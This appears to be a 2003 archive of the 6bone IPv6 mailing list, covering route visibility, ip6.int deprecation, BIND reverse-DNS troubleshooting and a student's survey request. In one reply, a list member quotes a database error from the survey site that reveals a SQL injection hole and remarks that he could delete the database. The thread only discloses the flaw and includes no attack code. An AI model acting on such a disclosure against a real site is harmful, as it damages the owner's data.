>last job was as a Software Technician for a group of colleges in England 
>but gave it up to move to Australia, I am now in Sales but in the process 
>of setting up my own Computer repair/upgrade/network/website etc Business. 
>I embarked on a part time study degree with the Open University (3 years 
>ago) aiming towards a named honours degree in 'IT & Computing' (obvious no 
>doubt) and have gained a diploma so far with another and the degree coming 
>next year with a bit of luck. I do have a life however and am not a geek, 
>script kiddie, techno fashion seeker or anything else you might come up 
>with, I am just interested.
>
>My interest in IPv6 was to begin with, one in which I could gain the 
>knowledge needed in order to go out and get a job with a Company that 
>provides/specializes/needs IPv6. I don't want to be a nTLA or any kind of 
>provider of IPv6 services to end users. So the issue is then - what is 
>there left in IPv6 that I can use, not a lot I think is the answer. There 
>is maybe a networking job out there from 2003 until 2007 (say) for 
>transition purposes with ISPs. Big deal, not a career prospect there, and 
>no doubt all the ISPs and Telco's/Cable providers have there own teams 
>working on it now anyway.
>
>So can someone please tell me , what is the point in my (and like) 
>learning all this stuff, I mean - I didn't need to know the ins and outs 
>of IPv4 (but I do). Is it too late for me already to participate properly 
>or is my only option to approach a nTLA/ISP.
>
> >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
>
>Ok, so back to Comments on the Minutes of the Meeting . (Has a certain 
>poetic feel don't you think)
>
> >Bob said that he would paraphrase the single largest concern as 
> "…why >should the 6bone community get cheaper services than the dues 
> paying >members…?"
>
>Comment : Up to , including and for 1 year after the transition period 
>(until July 2007) I think that the participating members of the 6bone have 
>a right as collaborators on the technical issues involved to get the 
>necessary services at a reduced cost. The free time alone that members 
>have given up is evidence enough that some kind of reward should be given 
>back (never mind the voluntary costs of equipment etc).
>
> >Also, there is now the ability for the RIRs to temporarily 
> allocate >IPv6 addresses for Internet experiments.
>Comment : Who are these temporary IPv6 addresses for ?? Providers ,end 
>users or both?
>
> >Tim Chown asked why not use 06/06/06 for the kill date as it had a >nice 
> symmetry?
>
>Comment : It is also easy to remember. (And the Devil will rise from the 
>fires of Hell)
>
> >Bob Fink asked if it is better to shutdown in the summer rather 
> than  >(Xmas) holiday time? Comments seemed to say that summertime was >better.
>Comment : I don't agree . What would be the reasoning for this? 
>Considerations to think about would be for those that are still using the 
>6bone in their own spare time - so holiday times would be good for them.
>  Another consideration and perhaps the main one would be volume of 
> traffic over the internet. During holiday periods there would be a rise 
> in domestic use of the internet but should be of no concern as far as 
> IPv6 is concerned during the shutdown. During normal work time in the 
> summer there is likely to be more IPv6 traffic, will this have any 
> bearing on the shutdown, I'd have thought so. Holidays would be better IMHO.
> >Jordi Palet noted that you can get an experimental prefix from
> >RIRs, you just need an upstream provider to forward the request on >your 
> behalf.
>
>Comment : Again, please explain who is meant by 'you can'. On who's behalf 
>are we talking about here??
>
>The PowerPoint presentation from the link was good.
>
>I hope I didn't talk too much..
>
>Feedback appreciated.
>
>Thanks
>
>Gav...
>
>(Gavin McDonald)


From pim@ipng.nl Wed Apr  2 23:06:59 2003
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Date: Thu, 3 Apr 2003 09:03:41 +0200
From: Pim van Pelt <pim@ipng.nl>
To: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
Cc: Bill Manning <bmanning@ISI.EDU>, 6bone@ISI.EDU
Subject: Re: [6bone] slowly mr registry...
Message-ID: <20030403070341.GA28217@bfib.colo.bit.nl>
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On Wed, Apr 02, 2003 at 11:26:40PM +0200, Nicolas DEFFAYET wrote:
| On Wed, 2003-04-02 at 21:39, Bill Manning wrote:
| 
| >    Server Name: DOT.EP.NET
| >    IP Address: 198.32.2.10
| >    IP Address: 2001:478:6:0:230:48FF:FE22:6A29
| >    Registrar: NETWORK SOLUTIONS, INC.
| >    Whois Server: whois.networksolutions.com
| >    Referral URL: http://www.networksolutions.com
| 
| route-server.ndsoftwarenet.net> sh ipv6 bgp
| 2001:478:6:0:230:48FF:FE22:6A29
| % Network not in table
| route-server.ndsoftwarenet.net>
As is to be seen on http://www.sixxs.net/tools/grh/tla/arin/ this
network has not been visible to any of the GRH participants as far
back as 12/2002

dot.ep.net is not visible from AS12859 currently.
-- 
---------- - -    - - -+- - -    - - ----------
Pim van Pelt                 Email: pim@ipng.nl
http://www.ipng.nl/             IPv6 Deployment
-----------------------------------------------

From bmanning@ISI.EDU Thu Apr  3 03:10:24 2003
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From: Bill Manning <bmanning@ISI.EDU>
Message-Id: <200304031110.h33BAFo27378@boreas.isi.edu>
Subject: Re: [6bone] slowly mr registry...
In-Reply-To: <20030403070341.GA28217@bfib.colo.bit.nl> from Pim van Pelt at "Apr 3, 3 09:03:41 am"
To: pim@ipng.nl (Pim van Pelt)
Date: Thu, 3 Apr 2003 03:10:15 -0800 (PST)
Cc: nicolas.deffayet@ndsoftware.net, bmanning@ISI.EDU, 6bone@ISI.EDU
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% On Wed, Apr 02, 2003 at 11:26:40PM +0200, Nicolas DEFFAYET wrote:
% | On Wed, 2003-04-02 at 21:39, Bill Manning wrote:
% | 
% | >    Server Name: DOT.EP.NET
% | >    IP Address: 198.32.2.10
% | >    IP Address: 2001:478:6:0:230:48FF:FE22:6A29
% | >    Registrar: NETWORK SOLUTIONS, INC.
% | >    Whois Server: whois.networksolutions.com
% | >    Referral URL: http://www.networksolutions.com
% | 
% | route-server.ndsoftwarenet.net> sh ipv6 bgp
% | 2001:478:6:0:230:48FF:FE22:6A29
% | % Network not in table
% | route-server.ndsoftwarenet.net>
% As is to be seen on http://www.sixxs.net/tools/grh/tla/arin/ this
% network has not been visible to any of the GRH participants as far
% back as 12/2002
% 
% dot.ep.net is not visible from AS12859 currently.
% -- 

	we are sad that you/your upstream is filtering this out.

	however, the point I was trying to make was that now some
	registries are taking IPv6 addresses for host records.
	this is a significant change and is to be welcomed.


--bill
Opinions expressed may not even be mine by the time you read them, and
certainly don't reflect those of any other entity (legal or otherwise).

From jeroen@unfix.org Thu Apr  3 03:42:36 2003
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Cc: <6bone@ISI.EDU>
Subject: RE: [6bone] slowly mr registry...
Date: Thu, 3 Apr 2003 13:43:32 +0200
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Nicolas DEFFAYET wrote:
> On Wed, 2003-04-02 at 21:39, Bill Manning wrote:
> 
> >    Server Name: DOT.EP.NET
> >    IP Address: 198.32.2.10
> >    IP Address: 2001:478:6:0:230:48FF:FE22:6A29
> >    Registrar: NETWORK SOLUTIONS, INC.
> >    Whois Server: whois.networksolutions.com
> >    Referral URL: http://www.networksolutions.com
> 
> route-server.ndsoftwarenet.net> sh ipv6 bgp
> 2001:478:6:0:230:48FF:FE22:6A29
> % Network not in table
> route-server.ndsoftwarenet.net>
> 
> Is it normal ?

Check:
http://www.sixxs.net/tools/grh/lg/?prefix=2001:478::/32&matchtype=more

You will see that there are a couple of seperate /48's
(2001:478:2::/48, 2001:478:4::/48, 2001:478:6::/48 and
2001:478:9200::/48) out of the block that do get announced.
The complete block though has never been announced
for the last 6 months at least...

Btw Bill can you share the route to take to convince
NetSol that they do are capable of entering IPv6
addresses into the glue?

Greets,
 Jeroen


From Robert.Kiessling@de.easynet.net Thu Apr  3 07:21:47 2003
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To: Bill Manning <bmanning@ISI.EDU>
Cc: pim@ipng.nl (Pim van Pelt), nicolas.deffayet@ndsoftware.net, 6bone@ISI.EDU
Subject: Re: [6bone] slowly mr registry...
References: <200304031110.h33BAFo27378@boreas.isi.edu>
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Bill Manning <bmanning@ISI.EDU> writes:

> 	we are sad that you/your upstream is filtering this out.

We are sad that /48s are expected to be globally visible, and glad
that this upstreams is doing responsible filtering.

Robert


From pekkas@netcore.fi Thu Apr  3 13:31:41 2003
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From: Pekka Savola <pekkas@netcore.fi>
To: 6bone@ISI.EDU
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Subject: [6bone] Re: I-D ACTION:draft-ymbk-6bone-arpa-delegation-01.txt
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On Thu, 3 Apr 2003 Internet-Drafts@ietf.org wrote:
> A New Internet-Draft is available from the on-line Internet-Drafts directories.
> 
> 
> 	Title		: Delegation of 3.F.F.3.IP6.ARPA
> 	Author(s)	: R. Bush, R. Fink
> 	Filename	: draft-ymbk-6bone-arpa-delegation-01.txt
> 	Pages		: 5
> 	Date		: 2003-4-2
> 	
> This document discusses the need for delegation of the
> E.F.F.3.IP6.ARPA DNS zone in order to enable reverse lookups for
> 6bone addresses, and makes specific recommendations for the process
> needed to accomplish this.

Looks very good.  Let's ship it.

-- 
Pekka Savola                 "You each name yourselves king, yet the
Netcore Oy                    kingdom bleeds."
Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings


From jeroen@unfix.org Thu Apr  3 14:44:46 2003
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To: "'Pekka Savola'" <pekkas@netcore.fi>, <6bone@ISI.EDU>
Subject: RE: [6bone] Re: I-D ACTION:draft-ymbk-6bone-arpa-delegation-01.txt
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Pekka Savola wrote:
> On Thu, 3 Apr 2003 Internet-Drafts@ietf.org wrote:
> > A New Internet-Draft is available from the on-line 
> Internet-Drafts directories.
> > 
> > 
> > 	Title		: Delegation of 3.F.F.3.IP6.ARPA
> > 	Author(s)	: R. Bush, R. Fink
> > 	Filename	: draft-ymbk-6bone-arpa-delegation-01.txt
> > 	Pages		: 5
> > 	Date		: 2003-4-2
> > 	
> > This document discusses the need for delegation of the
> > E.F.F.3.IP6.ARPA DNS zone in order to enable reverse lookups for
> > 6bone addresses, and makes specific recommendations for the process
> > needed to accomplish this.
> 
> Looks very good.  Let's ship it.

Indeed, the soone the better.

One note howeever about ip6.int. Is ip6.int being phased at
the same time as the 6bone (6/6/2006) or is there a earlier
phaseout time thus forcing administrators and implementors
to have their software fully ip6.arpa aware as endusers will
start noticing that reverses are not available under ip6.int?
For instance, if this system is implemented before the summer
starts (july 2003) and systems are running cleanly, we could
opt to deprecate ip6.int completely per december 2003.

Greets,
 Jeroen


From pekkas@netcore.fi Thu Apr  3 21:30:16 2003
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From: Pekka Savola <pekkas@netcore.fi>
To: Jeroen Massar <jeroen@unfix.org>
cc: 6bone@ISI.EDU
Subject: RE: [6bone] Re: I-D ACTION:draft-ymbk-6bone-arpa-delegation-01.txt
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On Fri, 4 Apr 2003, Jeroen Massar wrote:
> Pekka Savola wrote:
> > On Thu, 3 Apr 2003 Internet-Drafts@ietf.org wrote:
> > > A New Internet-Draft is available from the on-line 
> > Internet-Drafts directories.
> > > 
> > > 
> > > 	Title		: Delegation of 3.F.F.3.IP6.ARPA
> > > 	Author(s)	: R. Bush, R. Fink
> > > 	Filename	: draft-ymbk-6bone-arpa-delegation-01.txt
> > > 	Pages		: 5
> > > 	Date		: 2003-4-2
> > > 	
> > > This document discusses the need for delegation of the
> > > E.F.F.3.IP6.ARPA DNS zone in order to enable reverse lookups for
> > > 6bone addresses, and makes specific recommendations for the process
> > > needed to accomplish this.
> > 
> > Looks very good.  Let's ship it.
> 
> Indeed, the soone the better.
> 
> One note howeever about ip6.int. Is ip6.int being phased at
> the same time as the 6bone (6/6/2006) or is there a earlier
> phaseout time thus forcing administrators and implementors
> to have their software fully ip6.arpa aware as endusers will
> start noticing that reverses are not available under ip6.int?
> For instance, if this system is implemented before the summer
> starts (july 2003) and systems are running cleanly, we could
> opt to deprecate ip6.int completely per december 2003.

I'd favor deprecation of ip6.int as soon as it's reasonable, before the 
death of 6bone.  Having to maintain two sets of reverse records is 
confusing.

However, the issue does not need anything in the proposed I-D, and can be 
implemented separately when/if we feel fit.

-- 
Pekka Savola                 "You each name yourselves king, yet the
Netcore Oy                    kingdom bleeds."
Systems. Networks. Security. -- George R.R. Martin: A Clash of Kings


From arnaud.savoye@efficientip.com Tue Apr  8 06:01:48 2003
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-----Message d'origine-----
De : 6bone-admin@mailman.isi.edu [mailto:6bone-admin@mailman.isi.edu]De
la part de 6bone-request@mailman.isi.edu
Envoyé : mardi 8 avril 2003 14:19
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Objet : Welcome to the "6bone" mailing list (Digest mode)


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From tbegin@tf1.fr Tue Apr  8 08:18:55 2003
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Hello everyone,

I'm testing DNS over IPv6 on a testbed and I'm confronted to an issue.

Here is my configuration: I'm working on a Red Hat Distribution (8.0) with Bind 9.2.1.9

I've set up configuration files and the forward lookup works over IPv4 and IPv6 but the reverse lookup is only working with IPv4.

(fec0:0:0:1::2 is one of the site-local addresses of my machine (DNS server))
e.g. host fec0:0:0:1::2 gives me: 
Host \[xFEC00000000000010000000000000002].ip6.arpa not found: 2(serverfail)

First I realized that even if I tried to use ip6.int suffix in the configuration files, the message error keeps the same - Host \[xFEC00000000000010000000000000002].ip6.arpa not found: 2(serverfail) !!!

Secondly, by sniffing with ethereal the packets, I've seen that the query is well sent to the computer (loop back) but no response is given and then computer tries to ask root DNS...

I'm not out of idea, may be one of you can help me ...

I post my config files.

------------------------------------------------------------------------------------------------------

 ------    Named.conf   ------
// generated by named-bootconf.pl

options {
	directory "/var/named";
	listen-on-v6 { any; };
};

// 
// a caching only nameserver config
// 
controls {
	inet 127.0.0.1 allow { localhost; } keys { rndckey; };
};
zone "." IN {
	type hint;
	file "named.ca";
};

zone "localhost" IN {
	type master;
	file "localhost.zone";
	allow-update { none; };
};

zone "0.0.127.in-addr.arpa" IN {
	type master;
	file "named.local";
	allow-update { none; };
};

zone "olympe.gr" IN {
	type master;
	file "olympe.gr.zone";
	allow-update { none; };
};

zone "236.10.in-addr.arpa" IN {
	type master;
	file "10.236.zone";
	allow-update { none; };
};

zone "1.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.ip6.arpa" {
	type master;
	file "named.local";
	allow-update { none; };
};

// zone "2.0.0.0.0.0.0.0.0.0.0.0.0.c.e.f.ip6.int" {
//	type master;
//	file "fec0.0.0.2.zone";
//	allow-update { none; };
// };

zone "2.0.0.0.0.0.0.0.0.0.0.0.0.c.e.f.ip6.arpa" {
	type master;
	file "fec0.0.0.2.zone";
	allow-update { none; };
};

 zone "1.0.0.0.0.0.0.0.0.0.0.0.0.c.e.f.ip6.arpa" {
	type master;
	file "fec0.0.0.1.zone";
	allow-update { none; };
};

// zone "1.0.0.0.0.0.0.0.0.0.0.0.0.c.e.f.ip6.int" {
//	type master;
//	file "fec0.0.0.1.zone";
//	allow-update { none; };
// };

include "/etc/rndc.key";

--------------------------------------------------------------------------------------------------------

-----  fec0.0.0.1.zone   -----
@	IN	SOA	cassandre.olympe.gr.	admin.olympe.gr.	(
			2003040603
			3H
			15M
			1W
			1D	)

	IN	NS	cassandre.olympe.gr.

; $ORIGIN	1.0.0.0.0.0.0.0.0.0.0.0.0.c.e.f.ip6.arpa.
$ORIGIN	1.0.0.0.0.0.0.0.0.0.0.0.0.c.e.f.ip6.int.
2.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0		IN	PTR	cassandre.olympe.gr.
1.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0		IN	PTR	hermes.olympe.gr.
9.6.6.2.f.7.e.f.f.f.7.c.8.0.2.0		IN	PTR	arion.olympe.gr.



- Regards

 - Thomas



From jeanthery@olympus-zone.net Tue Apr  8 10:01:04 2003
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References: <745A3632968F53438280A8320C535AD20CCAC9@MSGEXS21.tf1.groupetf1.fr>
Subject: Re: [6bone] Reverse lookup
Date: Tue, 8 Apr 2003 19:00:41 +0200
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BEGIN, Thomas wrote:
> Hello everyone,
>
> I'm testing DNS over IPv6 on a testbed and I'm confronted to an issue.
>
> Here is my configuration: I'm working on a Red Hat Distribution (8.0)
> with Bind 9.2.1.9
>
> I've set up configuration files and the forward lookup works over
> IPv4 and IPv6 but the reverse lookup is only working with IPv4.
>
> (fec0:0:0:1::2 is one of the site-local addresses of my machine (DNS
> server)) e.g. host fec0:0:0:1::2 gives me:
> Host \[xFEC00000000000010000000000000002].ip6.arpa not found:
> 2(serverfail)
>
> First I realized that even if I tried to use ip6.int suffix in the
> configuration files, the message error keeps the same - Host
> \[xFEC00000000000010000000000000002].ip6.arpa not found:
> 2(serverfail) !!!
>
> Secondly, by sniffing with ethereal the packets, I've seen that the
> query is well sent to the computer (loop back) but no response is
> given and then computer tries to ask root DNS...
>
> I'm not out of idea, may be one of you can help me ...
>
> I post my config files.
<snip>

bitstring format is not used at this time, you must prefer the nibble
format, it works fine.

Cordialy,

Jean Théry
Administration Réseaux, Systèmes & Hosting
Olympus-Zone
www.olympus-zone.net


From cloos@jhcloos.com Tue Apr  8 14:00:53 2003
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To: <6bone@mailman.isi.edu>
Subject: Re: [6bone] Reverse lookup
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	<00ea01c2fdf0$63044dc0$0202010a@teraii>
From: "James H. Cloos Jr." <cloos@jhcloos.com>
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Date: 08 Apr 2003 17:00:37 -0400
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>> host fec0:0:0:1::2 gives me:
>> Host \[xFEC00000000000010000000000000002].ip6.arpa not found:
>> 2(serverfail)

Jean> bitstring format is not used at this time, you must prefer the
Jean> nibble format, it works fine.

In other words, the bug is in host(1), not in your dns server or its
configuration.

-JimC


From itojun@itojun.org Tue Apr  8 14:28:42 2003
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Subject: Re: [6bone] Reverse lookup 
From: itojun@iijlab.net
Date: Wed, 09 Apr 2003 06:28:39 +0900
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>>> host fec0:0:0:1::2 gives me:
>>> Host \[xFEC00000000000010000000000000002].ip6.arpa not found:
>>> 2(serverfail)
>> bitstring format is not used at this time, you must prefer the
>> nibble format, it works fine.
>In other words, the bug is in host(1), not in your dns server or its
>configuration.

	another thing is that you can't register site-local (fec0::/10) address
	into your DNS servers, unless you run two-faced DNS.

itojun

From cloos@jhcloos.com Tue Apr  8 14:35:37 2003
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Subject: Re: [6bone] Reverse lookup
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From: "James H. Cloos Jr." <cloos@jhcloos.com>
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>>>>> "itojun" == itojun  <itojun@iijlab.net> writes:

itojun> 	another thing is that you can't register site-local
itojun> (fec0::/10) address into your DNS servers, unless you run
itojun> two-faced DNS.

Woops.  Yes.  Tunnel vision on my part; I've been bitten by that bug
in host(1), but haven't used fec0:: ...

-JimC



From gw9812@hotmail.com Wed Apr  9 03:30:52 2003
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Subject: [6bone] Your help is appreciated!!
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<html><div style='background-color:'><DIV>Hi all,</DIV>
<DIV>I am a final year student at University Of Gloucestershire UK and as part of my course I am required to undertake a research project. My project intends to examine Ipv4/Ipv6 migration issues in home networks. I would be grateful if you could find the time to answer the&nbsp;online questions to help me with my research. The questionnaire is entirely confidential and it would be greatly appreciated if you could assist me.</DIV>
<DIV>&nbsp;</DIV>
<DIV>There are 14 questions and it will take 3 ~ 5 minutes to complete. </DIV>
<DIV>&nbsp;</DIV>
<DIV>Please click the link to my online questionnaire:</DIV>
<DIV><A href="http://free2u.dns2go.com">http://free2u.dns2go.com</A></DIV>
<DIV>&nbsp;</DIV>
<DIV>&nbsp;</DIV>
<DIV>Thank you --- your help is appreciated</DIV>
<DIV>&nbsp;</DIV>
<DIV>Weijun Yin&nbsp;&nbsp;&nbsp;</DIV></div><br clear=all><hr>Ãâ·ÑÏÂÔØ <a href="http://g.msn.com/8HMRCN/2743">MSN Explorer</a> </html>

From florian.frotzler@gmx.at Wed Apr  9 05:36:54 2003
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On Wed, 09 Apr 2003 10:30:46 +0000
"yin weijun" <gw9812@hotmail.com> wrote:

Hi!

> Hi all,
> I am a final year student at University Of Gloucestershire UK and as part of my course I am required to undertake a research project. My project intends to examine Ipv4/Ipv6 migration issues in home networks. I would be grateful if you could find the time to answer the online questions to help me with my research. The questionnaire is entirely confidential and it would be greatly appreciated if you could assist me.
>  
> There are 14 questions and it will take 3 ~ 5 minutes to complete.
>  
> Please click the link to my online questionnaire:
> http://free2u.dns2go.com
>  

If you have a dynamic IP you should probably specify the time when you
are online, because currently the page is not reachable.
  
> Thank you --- your help is appreciated
>  
> Weijun Yin   
> 
> ------------------------------------------------
> Ãâ·ÑÏÂÔØ MSN Explorer _______________________________________________ 6bone mailing list 6bone@mailman.isi.edu http://mailman.isi.edu/mailman/listinfo/6bone

Regards,
Florian

RIPE-NCC Intern
IPv6/TTM

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And you might want to check your security.. I can delete your whole =
database right now  :-).

javax.servlet.ServletException: [Microsoft][ODBC Microsoft Access =
Driver] =C3=93=C3=AF=C2=B7=C2=A8=C2=B4=C3=AD=C3=8E=C3=B3 =
(=C2=B2=C3=99=C3=97=C3=B7=C2=B7=C3=BB=C2=B6=C2=AA=C3=8A=C2=A7) =
=C3=94=C3=9A=C2=B2=C3=A9=C3=91=C2=AF=C2=B1=C3=AD=C2=B4=C3=AF=C3=8A=C2=BD =
''RFC's' , '' , '' , '' , '' , 'DHCP6 from isp' =C3=96=C3=90=C2=A1=C2=A3


Joergen Hovland

  ----- Original Message -----=20
  From: yin weijun=20
  To: 6bone@mailman.isi.edu=20
  Sent: Wednesday, April 09, 2003 12:30 PM
  Subject: [6bone] Your help is appreciated!!


  Hi all,
  I am a final year student at University Of Gloucestershire UK and as =
part of my course I am required to undertake a research project. My =
project intends to examine Ipv4/Ipv6 migration issues in home networks. =
I would be grateful if you could find the time to answer the online =
questions to help me with my research. The questionnaire is entirely =
confidential and it would be greatly appreciated if you could assist me.

  There are 14 questions and it will take 3 ~ 5 minutes to complete.=20

  Please click the link to my online questionnaire:
  http://free2u.dns2go.com


  Thank you --- your help is appreciated

  Weijun Yin  =20


-------------------------------------------------------------------------=
-----
  =E5=85=8D=E8=B4=B9=E4=B8=8B=E8=BD=BD MSN Explorer =
_______________________________________________ 6bone mailing list =
6bone@mailman.isi.edu http://mailman.isi.edu/mailman/listinfo/6bone 
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=EF=BB=BF<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; charset=3Dutf-8">
<META content=3D"MSHTML 6.00.2800.1141" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>And you might want to check your =
security.. I can=20
delete your whole database right now&nbsp; :-).</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV>javax.servlet.ServletException: [Microsoft][ODBC Microsoft Access =
Driver]=20
=C3=93=C3=AF=C2=B7=C2=A8=C2=B4=C3=AD=C3=8E=C3=B3 =
(=C2=B2=C3=99=C3=97=C3=B7=C2=B7=C3=BB=C2=B6=C2=AA=C3=8A=C2=A7) =
=C3=94=C3=9A=C2=B2=C3=A9=C3=91=C2=AF=C2=B1=C3=AD=C2=B4=C3=AF=C3=8A=C2=BD =
''RFC's' , '' , '' , '' , '' , 'DHCP6 from=20
isp' =C3=96=C3=90=C2=A1=C2=A3<BR></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Joergen Hovland</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<BLOCKQUOTE=20
style=3D"PADDING-RIGHT: 0px; PADDING-LEFT: 5px; MARGIN-LEFT: 5px; =
BORDER-LEFT: #000000 2px solid; MARGIN-RIGHT: 0px">
  <DIV style=3D"FONT: 10pt arial">----- Original Message ----- </DIV>
  <DIV=20
  style=3D"BACKGROUND: #e4e4e4; FONT: 10pt arial; font-color: =
black"><B>From:</B>=20
  <A title=3Dgw9812@hotmail.com href=3D"mailto:gw9812@hotmail.com">yin =
weijun</A>=20
  </DIV>
  <DIV style=3D"FONT: 10pt arial"><B>To:</B> <A =
title=3D6bone@mailman.isi.edu=20
  href=3D"mailto:6bone@mailman.isi.edu">6bone@mailman.isi.edu</A> </DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Sent:</B> Wednesday, April 09, 2003 =
12:30=20
  PM</DIV>
  <DIV style=3D"FONT: 10pt arial"><B>Subject:</B> [6bone] Your help is=20
  appreciated!!</DIV>
  <DIV><BR></DIV>
  <DIV>
  <DIV>Hi all,</DIV>
  <DIV>I am a final year student at University Of Gloucestershire UK and =
as part=20
  of my course I am required to undertake a research project. My project =
intends=20
  to examine Ipv4/Ipv6 migration issues in home networks. I would be =
grateful if=20
  you could find the time to answer the&nbsp;online questions to help me =
with my=20
  research. The questionnaire is entirely confidential and it would be =
greatly=20
  appreciated if you could assist me.</DIV>
  <DIV>&nbsp;</DIV>
  <DIV>There are 14 questions and it will take 3 ~ 5 minutes to =
complete. </DIV>
  <DIV>&nbsp;</DIV>
  <DIV>Please click the link to my online questionnaire:</DIV>
  <DIV><A =
href=3D"http://free2u.dns2go.com">http://free2u.dns2go.com</A></DIV>
  <DIV>&nbsp;</DIV>
  <DIV>&nbsp;</DIV>
  <DIV>Thank you --- your help is appreciated</DIV>
  <DIV>&nbsp;</DIV>
  <DIV>Weijun Yin&nbsp;&nbsp;&nbsp;</DIV></DIV><BR clear=3Dall>
  <HR>
  =E5=85=8D=E8=B4=B9=E4=B8=8B=E8=BD=BD <A =
href=3D"http://g.msn.com/8HMRCN/2743">MSN Explorer</A>=20
  _______________________________________________ 6bone mailing list=20
  6bone@mailman.isi.edu http://mailman.isi.edu/mailman/listinfo/6bone=20
</BLOCKQUOTE></BODY></HTML>

------=_NextPart_000_00C1_01C2FEBB.B392B170--


From tbegin@tf1.fr Wed Apr  9 08:39:42 2003
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EH I found the mistake ( mainly thanks to your mails)
and then now the DNS is working fine ...   :-))
I thank everybody for the help they gave to me so quickly...

Bye

From chuck@degler.net Wed Apr  9 09:54:14 2003
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From: Chuck Yerkes <chuck+6bone@snew.com>
To: 6bone@mailman.isi.edu
Message-ID: <20030409165412.GA4722@snew.com>
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Stupid HTML mail...

"yin weijun" <gw9812@hotmail.com> wrote:
>
> I am a final year student at University Of Gloucestershire UK and as part of m
y course I am required to undertake a research project. My project intends to ex
amine Ipv4/Ipv6 migration issues in home networks. I would be grateful if you co
uld find the time to answer the online questions to help me with my research. Th
e questionnaire is entirely confidential and it would be greatly appreciated if
you could assist me. 


Yet you post from hotmail and survey on an anonymous machine (ipv4 only)...

> There are 14 questions and it will take 3 ~ 5 minutes to complete.
>  
> Please click the link to my online questionnaire:
> http://free2u.dns2go.com

Be nice if the questions were complete.  Example:

| How many computers/routers...
|   1 computer 
|   1 computer and 1 router
|   2 computers 
|   2 computers and 1 router 
|   3 computers and 1 router 
|   more than 2 computers and more than 1 router 

Um, how about many many computers and one router?  How about a blank
for us to fill in and YOU process the data?

What do click with 5+ computers and one gateway to the internet
(it's a home, I use one router box)

| Q14: How much are you willing to pay for migration
| [answers in chunks from $50 up)

Migration costs:  No, I'm willing to accept $0 costs for "migration".
Not an option on your survey.


| Q5: Are you planning to move your home network from Ipv4 to Ipv6?
|   Yes 
|   No 
|   Haven't thought about it 

Um no.  I have both IPv4 *and* IPv6.  That's one of the goals
of IPv6 - cohabitation.  methinks you don't understand IPv6 from
a usage point of view.

This "migration" you keep speaking of makes me think you believe its
an either/or situation.  When my apps speak IPv6, they use 6.  If they
need IPv4, they use 4.  Ahh the joy.  You'll never have to experience
the Flag Day that we had during the NCP/TCP cutover (all 200 hosts?)

Now go redo your survey for completeness.


Oh, and the submit crashed.
Is java/tomcat really necessary for  basic HTML forms?

From chuck@degler.net Wed Apr  9 09:58:49 2003
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Date: Wed, 9 Apr 2003 12:58:47 -0400
From: Chuck Yerkes <chuck+6bone@snew.com>
To: 6bone@ISI.EDU
Subject: Re: [6bone] Re: I-D ACTION:draft-ymbk-6bone-arpa-delegation-01.txt
Message-ID: <20030409165847.GB4722@snew.com>
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Quoting Pekka Savola (pekkas@netcore.fi):
> On Fri, 4 Apr 2003, Jeroen Massar wrote:
...
> I'd favor deprecation of ip6.int as soon as it's reasonable, before the 
> death of 6bone.  Having to maintain two sets of reverse records is 
> confusing.

Actually, it's pretty easy with one file and two named.conf entries.
Let the @ be your friend.


(but Oh that BIND would do the nibble/reverse work for me.
 I hate working for computers.  I want:
   %6REVERSE(3ffe:1200:301d:5::25)	IN PTR myMachine
 or something like that.  Avoid my stupid typos.
).

From hansolofalcon@worldnet.att.net Wed Apr  9 10:08:39 2003
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From: "Gregg C Levine" <hansolofalcon@worldnet.att.net>
To: "=?utf-8?Q?'J=C3=B8rgen_Hovland'?=" <jorgen@hovland.cx>, <gw9812@21cn.com>,
   <6bone@mailman.isi.edu>
Subject: RE: [6bone] Your help is appreciated!!
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Hello from Gregg C Levine
Was that Microsoft based ODBC attached database from that badly timed message earlier, about a similar database? The site wasn't at home when I clicked the link.

For some reason that I've made it my business not to delve into, those databases such as ones built using Microsoft based ODBC, and related tools, almost always have lousy security,  unless the developer takes the time to dig through mountains of poorly written manuals to find the right settings to lock down the database.

Jørgen Hovland, you did the right thing in pointing it out. But I don't think the original correspondent will appreciate it. Oh, and what else did do, besides bring this up?

-------------------
Gregg C Levine hansolofalcon@worldnet.att.net
------------------------------------------------------------
"The Force will be with you...Always." Obi-Wan Kenobi
"Use the Force, Luke."  Obi-Wan Kenobi
(This company dedicates this E-Mail to General Obi-Wan Kenobi )
(This company dedicates this E-Mail to Master Yoda )

-----Original Message-----
From: 6bone-admin@mailman.isi.edu [mailto:6bone-admin@mailman.isi.edu] On Behalf Of Jørgen Hovland
Sent: Wednesday, April 09, 2003 11:16 AM
To: gw9812@21cn.com; 6bone@mailman.isi.edu
Subject: Re: [6bone] Your help is appreciated!!

And you might want to check your security.. I can delete your whole database right now  :-).
 
javax.servlet.ServletException: [Microsoft][ODBC Microsoft Access Driver] Óï·¨´íÎó (²Ù×÷·û¶ªÊ§) ÔÚ²éѯ±í´ïʽ ''RFC's' , '' , '' , '' , '' , 'DHCP6 from isp' Ö�¡£
 
Joergen Hovland
 
----- Original Message ----- 
From: yin weijun 
To: 6bone@mailman.isi.edu 
Sent: Wednesday, April 09, 2003 12:30 PM
Subject: [6bone] Your help is appreciated!!

Hi all,
I am a final year student at University Of Gloucestershire UK and as part of my course I am required to undertake a research project. My project intends to examine Ipv4/Ipv6 migration issues in home networks. I would be grateful if you could find the time to answer the online questions to help me with my research. The questionnaire is entirely confidential and it would be greatly appreciated if you could assist me.
 
There are 14 questions and it will take 3 ~ 5 minutes to complete. 
 
Please click the link to my online questionnaire:
http://free2u.dns2go.com
 
 
